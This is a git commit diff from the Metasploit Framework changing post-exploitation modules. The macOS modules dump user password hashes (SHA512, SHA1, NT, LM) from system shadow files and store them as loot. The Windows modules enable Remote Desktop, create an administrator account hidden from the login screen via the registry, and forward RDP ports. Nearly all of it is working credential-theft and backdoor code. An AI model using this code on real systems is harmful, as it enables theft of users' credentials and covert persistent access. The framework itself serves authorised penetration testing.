Merge branch 'master' of https://github.com/darkoperator/metasploit-framework into darkoperator-master

unstable
sinn3r 2012-06-07 22:58:50 -05:00
commit 83d21df9f6
4 changed files with 113 additions and 132 deletions

View File

@ -56,7 +56,7 @@ class Metasploit3 < Msf::Post
enum_accounts(log_folder, ver_num) enum_accounts(log_folder, ver_num)
get_crypto_keys(log_folder) get_crypto_keys(log_folder)
screenshot(log_folder, ver_num) screenshot(log_folder, ver_num)
dump_hash(log_folder,ver_num) if running_root dump_hash(ver_num) if running_root
dump_bash_history(log_folder) dump_bash_history(log_folder)
get_keychains(log_folder) get_keychains(log_folder)
@ -474,12 +474,10 @@ class Metasploit3 < Msf::Post
print_status("Dumping Hashes") print_status("Dumping Hashes")
users = [] users = []
nt_hash = nil nt_hash = nil
host,port = session.session_host, session.session_port host = session.session_host
# Path to files with hashes # Path to files with hashes
nt_file = ::File.join(log_folder,"nt_hash.txt") sha1_file = ""
lm_file = ::File.join(log_folder,"lm_hash.txt")
sha1_file = ::File.join(log_folder,"sha1_hash.txt")
# Check if system is Lion if not continue # Check if system is Lion if not continue
if ver_num =~ /10\.(7)/ if ver_num =~ /10\.(7)/
@ -496,12 +494,12 @@ class Metasploit3 < Msf::Post
next if p =~ /^daemon|root|nobody/ next if p =~ /^daemon|root|nobody/
# Turn profile plist in to XML format # Turn profile plist in to XML format
cmd_exec("cp /private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/") cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/")
cmd_exec("plutil -convert xml1 /tmp/#{p.chomp}") cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}")
file = cmd_exec("cat /tmp/#{p.chomp}") file = cmd_exec("cat","/tmp/#{p.chomp}")
# Clean up using secure delete overwriting and zeroing blocks # Clean up using secure delete overwriting and zeroing blocks
cmd_exec("/usr/bin/srm -m -z /tmp/#{p.chomp}") cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}")
# Process XML Plist into a usable hash # Process XML Plist into a usable hash
plist_values = read_ds_xml_plist(file) plist_values = read_ds_xml_plist(file)
@ -510,38 +508,31 @@ class Metasploit3 < Msf::Post
plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b| plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b|
hash_decoded << sprintf("%02X", b) hash_decoded << sprintf("%02X", b)
end end
user = plist_values['name'] user = plist_values['name'].join("")
# Check if NT HASH is present # Check if NT HASH is present
if hash_decoded =~ /4F1010/ if hash_decoded =~ /4F1010/
nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/) nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0]
end end
# Carve out the SHA512 Hash, the first 4 bytes is the salt # Carve out the SHA512 Hash, the first 4 bytes is the salt
sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0] sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0]
print_status("SHA512:#{user}:#{sha512}") print_status("SHA512:#{user}:#{sha512}")
p = store_loot( sha1_file << "#{user}:#{sha512}\n"
'osx.hash.sha512',
'text/plain',
session,
"#{user}:#{sha512}",
user
)
print_status("SHA512 Hash saved as: #{p}")
# Reset hash value # Reset hash value
sha512 = "" sha512 = ""
if nt_hash if nt_hash
print_status("NT:#{user}:#{nt_hash}") print_status("NT:#{user}:#{nt_hash}")
file_local_write(nt_file,"#{user}:#{nt_hash}") print_status("Credential saved in database.")
report_auth_info( report_auth_info(
:host => host, :host => host,
:port => 445, :port => 445,
:sname => 'smb', :sname => 'smb',
:user => user, :user => user,
:pass => nt_hash, :pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true :active => true
) )
@ -552,6 +543,9 @@ class Metasploit3 < Msf::Post
hash_decoded = "" hash_decoded = ""
end end
end end
# Save pwd file
upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File")
print_good("Unshadowed Password File: #{upassf}")
# If system was lion and it was processed nothing more to do # If system was lion and it was processed nothing more to do
return return
@ -566,13 +560,9 @@ class Metasploit3 < Msf::Post
# Process each user # Process each user
users.each do |user| users.each do |user|
if ver_num =~ /10\.(6|5)/ if ver_num =~ /10\.(6|5)/
guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
elsif ver_num =~ /10\.(4|3)/ elsif ver_num =~ /10\.(4|3)/
guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp
end end
# Extract the hashes # Extract the hashes
@ -580,46 +570,40 @@ class Metasploit3 < Msf::Post
nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp
lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp
# Check that we have the hashes and save them # Check that we have the hashes and save them
if sha1_hash !~ /00000000000000000000000000000000/ if sha1_hash !~ /00000000000000000000000000000000/
print_status("SHA1:#{user}:#{sha1_hash}") print_status("SHA1:#{user}:#{sha1_hash}")
file_local_write(sha1_file,"#{user}:#{sha1_hash}") sha1_file << "#{user}:#{sha1_hash}"
report_auth_info(
:host => host,
:port => 0,
:sname => 'sha1',
:user => user,
:pass => sha1_hash,
:active => true
)
end end
if nt_hash !~ /000000000000000/ if nt_hash !~ /000000000000000/
print_status("NT:#{user}:#{nt_hash}") print_status("NT:#{user}:#{nt_hash}")
file_local_write(nt_file,"#{user}:#{nt_hash}") print_status("Credential saved in database.")
report_auth_info( report_auth_info(
:host => host, :host => host,
:port => 445, :port => 445,
:sname => 'smb', :sname => 'smb',
:user => user, :user => user,
:pass => nt_hash, :pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true :active => true
) )
end end
if lm_hash !~ /0000000000000/ if lm_hash !~ /0000000000000/
print_status("LM:#{user}:#{lm_hash}") print_status("LM:#{user}:#{lm_hash}")
file_local_write(lm_file,"#{user}:#{lm_hash}") print_status("Credential saved in database.")
report_auth_info( report_auth_info(
:host => host, :host => host,
:port => 445, :port => 445,
:sname => 'smb', :sname => 'smb',
:user => user, :user => user,
:pass => lm_hash, :pass => "#{lm_hash}:",
:active => true :active => true
) )
end end
end end
# Save pwd file
upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File")
print_good("Unshadowed Password File: #{upassf}")
end end
# Download configured Keychains # Download configured Keychains

View File

@ -50,10 +50,8 @@ class Metasploit3 < Msf::Post
print_status("This session is running as root!") print_status("This session is running as root!")
end end
ver_num = get_ver ver_num = get_ver
log_folder = log_folder_create()
if running_root if running_root
print_status("Saving files with hashes in #{log_folder} and Database") dump_hash(ver_num)
dump_hash(log_folder,ver_num)
else else
print_error("Insufficient Privileges you must be running as root to dump the hashes") print_error("Insufficient Privileges you must be running as root to dump the hashes")
end end
@ -89,31 +87,6 @@ class Metasploit3 < Msf::Post
return fields return fields
end end
# Function for creating the folder for gathered data
def log_folder_create(log_path = nil)
#Get hostname
case session.type
when /meterpreter/
host = Rex::FileUtils.clean_path(session.sys.config.sysinfo["Computer"])
when /shell/
host = Rex::FileUtils.clean_path(session.shell_command_token("hostname").chomp)
end
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', "enum_osx", host + filenameinfo )
else
logs = ::File.join(Msf::Config.log_directory, "post", "enum_osx", host + filenameinfo )
end
# Create the log directory
::FileUtils.mkdir_p(logs)
return logs
end
# Checks if running as root on the target # Checks if running as root on the target
def check_root def check_root
# Get only the account ID # Get only the account ID
@ -136,16 +109,14 @@ class Metasploit3 < Msf::Post
end end
# Dump SHA1 Hashes used by OSX, must be root to get the Hashes # Dump SHA1 Hashes used by OSX, must be root to get the Hashes
def dump_hash(log_folder,ver_num) def dump_hash(ver_num)
print_status("Dumping Hashes") print_status("Dumping Hashes")
users = [] users = []
nt_hash = nil nt_hash = nil
host,port = session.session_host, session.session_port host = session.session_host
# Path to files with hashes # Path to files with hashes
nt_file = ::File.join(log_folder,"nt_hash.txt") sha1_file = ""
lm_file = ::File.join(log_folder,"lm_hash.txt")
sha1_file = ::File.join(log_folder,"sha1_hash.txt")
# Check if system is Lion if not continue # Check if system is Lion if not continue
if ver_num =~ /10\.(7)/ if ver_num =~ /10\.(7)/
@ -162,12 +133,12 @@ class Metasploit3 < Msf::Post
next if p =~ /^daemon|root|nobody/ next if p =~ /^daemon|root|nobody/
# Turn profile plist in to XML format # Turn profile plist in to XML format
cmd_exec("cp /private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/") cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/")
cmd_exec("plutil -convert xml1 /tmp/#{p.chomp}") cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}")
file = cmd_exec("cat /tmp/#{p.chomp}") file = cmd_exec("cat","/tmp/#{p.chomp}")
# Clean up using secure delete overwriting and zeroing blocks # Clean up using secure delete overwriting and zeroing blocks
cmd_exec("/usr/bin/srm -m -z /tmp/#{p.chomp}") cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}")
# Process XML Plist into a usable hash # Process XML Plist into a usable hash
plist_values = read_ds_xml_plist(file) plist_values = read_ds_xml_plist(file)
@ -176,38 +147,31 @@ class Metasploit3 < Msf::Post
plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b| plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b|
hash_decoded << sprintf("%02X", b) hash_decoded << sprintf("%02X", b)
end end
user = plist_values['name'] user = plist_values['name'].join("")
# Check if NT HASH is present # Check if NT HASH is present
if hash_decoded =~ /4F1010/ if hash_decoded =~ /4F1010/
nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/) nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0]
end end
# Carve out the SHA512 Hash, the first 4 bytes is the salt # Carve out the SHA512 Hash, the first 4 bytes is the salt
sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0] sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0]
print_status("SHA512:#{user}:#{sha512}") print_status("SHA512:#{user}:#{sha512}")
file_local_write(sha1_file,"#{user}:#{sha512}") sha1_file << "#{user}:#{sha512}\n"
report_auth_info(
:host => host,
:port => 0,
:sname => 'sha512',
:user => user,
:pass => sha512,
:active => false
)
# Reset hash value # Reset hash value
sha512 = "" sha512 = ""
if nt_hash if nt_hash
print_status("NT:#{user}:#{nt_hash}") print_status("NT:#{user}:#{nt_hash}")
file_local_write(nt_file,"#{user}:#{nt_hash}") print_status("Credential saved in database.")
report_auth_info( report_auth_info(
:host => host, :host => host,
:port => 445, :port => 445,
:sname => 'smb', :sname => 'smb',
:user => user, :user => user,
:pass => nt_hash, :pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true :active => true
) )
@ -218,6 +182,9 @@ class Metasploit3 < Msf::Post
hash_decoded = "" hash_decoded = ""
end end
end end
# Save pwd file
upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File")
print_good("Unshadowed Password File: #{upassf}")
# If system was lion and it was processed nothing more to do # If system was lion and it was processed nothing more to do
return return
@ -245,41 +212,36 @@ class Metasploit3 < Msf::Post
# Check that we have the hashes and save them # Check that we have the hashes and save them
if sha1_hash !~ /00000000000000000000000000000000/ if sha1_hash !~ /00000000000000000000000000000000/
print_status("SHA1:#{user}:#{sha1_hash}") print_status("SHA1:#{user}:#{sha1_hash}")
file_local_write(sha1_file,"#{user}:#{sha1_hash}") sha1_file << "#{user}:#{sha1_hash}"
report_auth_info(
:host => host,
:port => 0,
:sname => 'sha1',
:user => user,
:pass => sha1_hash,
:active => false
)
end end
if nt_hash !~ /000000000000000/ if nt_hash !~ /000000000000000/
print_status("NT:#{user}:#{nt_hash}") print_status("NT:#{user}:#{nt_hash}")
file_local_write(nt_file,"#{user}:#{nt_hash}") print_status("Credential saved in database.")
report_auth_info( report_auth_info(
:host => host, :host => host,
:port => 445, :port => 445,
:sname => 'smb', :sname => 'smb',
:user => user, :user => user,
:pass => nt_hash, :pass => "AAD3B435B51404EE:#{nt_hash}",
:active => true :active => true
) )
end end
if lm_hash !~ /0000000000000/ if lm_hash !~ /0000000000000/
print_status("LM:#{user}:#{lm_hash}") print_status("LM:#{user}:#{lm_hash}")
file_local_write(lm_file,"#{user}:#{lm_hash}") print_status("Credential saved in database.")
report_auth_info( report_auth_info(
:host => host, :host => host,
:port => 445, :port => 445,
:sname => 'smb', :sname => 'smb',
:user => user, :user => user,
:pass => lm_hash, :pass => "#{lm_hash}:",
:active => true :active => true
) )
end end
end end
# Save pwd file
upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File")
print_good("Unshadowed Password File: #{upassf}")
end end
end end

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@ -15,12 +15,14 @@ require 'msf/core/post/file'
require 'msf/core/post/windows/accounts' require 'msf/core/post/windows/accounts'
require 'msf/core/post/windows/registry' require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/services' require 'msf/core/post/windows/services'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
include Msf::Post::Windows::Accounts include Msf::Post::Windows::Accounts
include Msf::Post::Windows::Registry include Msf::Post::Windows::Registry
include Msf::Post::Windows::WindowsServices include Msf::Post::Windows::WindowsServices
include Msf::Post::Windows::Priv
include Msf::Post::Common include Msf::Post::Common
include Msf::Post::File include Msf::Post::File
@ -49,17 +51,24 @@ class Metasploit3 < Msf::Post
end end
def run def run
if datastore['ENABLE'] or (datastore['USERNAME'] and datastore['PASSWORD']) if datastore['ENABLE'] or (datastore['USERNAME'] and datastore['PASSWORD'])
cleanup_rc = store_loot("host.windows.cleanup.enable_rdp", "text/plain", session,"" , cleanup_rc = store_loot("host.windows.cleanup.enable_rdp", "text/plain", session,"" ,
"enable_rdp_cleanup.rc", "enable_rdp cleanup resource file") "enable_rdp_cleanup.rc", "enable_rdp cleanup resource file")
if datastore['ENABLE'] if datastore['ENABLE']
if is_admin?
enablerd(cleanup_rc) enablerd(cleanup_rc)
enabletssrv(cleanup_rc) enabletssrv(cleanup_rc)
else
print_error("Insufficient privileges, Remote Desktop Service was not modified")
end
end end
if datastore['USERNAME'] and datastore['PASSWORD'] if datastore['USERNAME'] and datastore['PASSWORD']
if is_admin?
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'],cleanup_rc) addrdpusr(datastore['USERNAME'], datastore['PASSWORD'],cleanup_rc)
else
print_error("Insufficient privileges, account was not be created.")
end
end end
if datastore['FORDWARD'] if datastore['FORDWARD']
print_status("Starting the port forwarding at local port #{datastore['LPORT']}") print_status("Starting the port forwarding at local port #{datastore['LPORT']}")
@ -115,25 +124,34 @@ class Metasploit3 < Msf::Post
def addrdpusr(username, password,cleanup_rc) def addrdpusr(username, password,cleanup_rc)
rdu = resolve_sid("S-1-5-32-555")[:name] rdu = resolve_sid("S-1-5-32-555")[:name]
admin = resolve_sid("S-1-5-32-544")[:name] admin = resolve_sid("S-1-5-32-544")[:name]
print_status "Setting user account for logon" print_status "Setting user account for logon"
print_status "\tAdding User: #{username} with Password: #{password}" print_status "\tAdding User: #{username} with Password: #{password}"
begin begin
cmd_exec("net user #{username} #{password} /add") addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
if addusr_out =~ /success/i
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
print_status "\tAdding User: #{username} to local group '#{rdu}'" print_status "\tAdding User: #{username} to local group '#{rdu}'"
cmd_exec("net localgroup \"#{rdu}\" #{username} /add") cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
print_status "\tHiding user from Windows Login screen"
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
print_status "\tAdding User: #{username} to local group '#{admin}'" print_status "\tAdding User: #{username} to local group '#{admin}'"
cmd_exec("net localgroup #{admin} #{username} /add") cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
print_status "You can now login with the created user" print_status "You can now login with the created user"
else
print_error("Account could not be created")
print_error("Error:")
addusr_out.each_line do |l|
print_error("\t#{l.chomp}")
end
end
rescue::Exception => e rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}") print_status("The following Error was encountered: #{e.class} #{e}")
end end
end end
end end

View File

@ -91,18 +91,26 @@ def addrdpusr(session, username, password)
print_status "Setting user account for logon" print_status "Setting user account for logon"
print_status "\tAdding User: #{username} with Password: #{password}" print_status "\tAdding User: #{username} with Password: #{password}"
begin begin
cmd_exec("net user #{username} #{password} /add") addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
if addusr_out =~ /success/i
file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
print_status "\tHiding user from Windows Login screen" print_status "\tHiding user from Windows Login screen"
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
registry_setvaldata(hide_user_key,username,0,"REG_DWORD") registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
print_status "\tAdding User: #{username} to local group '#{rdu}'" print_status "\tAdding User: #{username} to local group '#{rdu}'"
cmd_exec("net localgroup \"#{rdu}\" #{username} /add") cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
print_status "\tAdding User: #{username} to local group '#{admin}'" print_status "\tAdding User: #{username} to local group '#{admin}'"
cmd_exec("net localgroup #{admin} #{username} /add") cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
print_status "You can now login with the created user" print_status "You can now login with the created user"
else
print_error("Account could not be created")
print_error("Error:")
addusr_out.each_line do |l|
print_error("\t#{l.chomp}")
end
end
rescue::Exception => e rescue::Exception => e
print_status("The following Error was encountered: #{e.class} #{e}") print_status("The following Error was encountered: #{e.class} #{e}")
end end
@ -143,13 +151,22 @@ if client.platform =~ /win32|win64/
if enbl or (usr and pass) if enbl or (usr and pass)
message message
if enbl if enbl
if is_admin?
enablerd() enablerd()
enabletssrv() enabletssrv()
else
print_error("Insufficient privileges, Remote Desktop Service was not modified.")
end
end end
if usr and pass
if usr and pass
if is_admin?
addrdpusr(session, usr, pass) addrdpusr(session, usr, pass)
else
print_error("Insufficient privileges, account was not be created.")
end end
end
if frwrd == true if frwrd == true
print_status("Starting the port forwarding at local port #{lport}") print_status("Starting the port forwarding at local port #{lport}")
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1") client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1")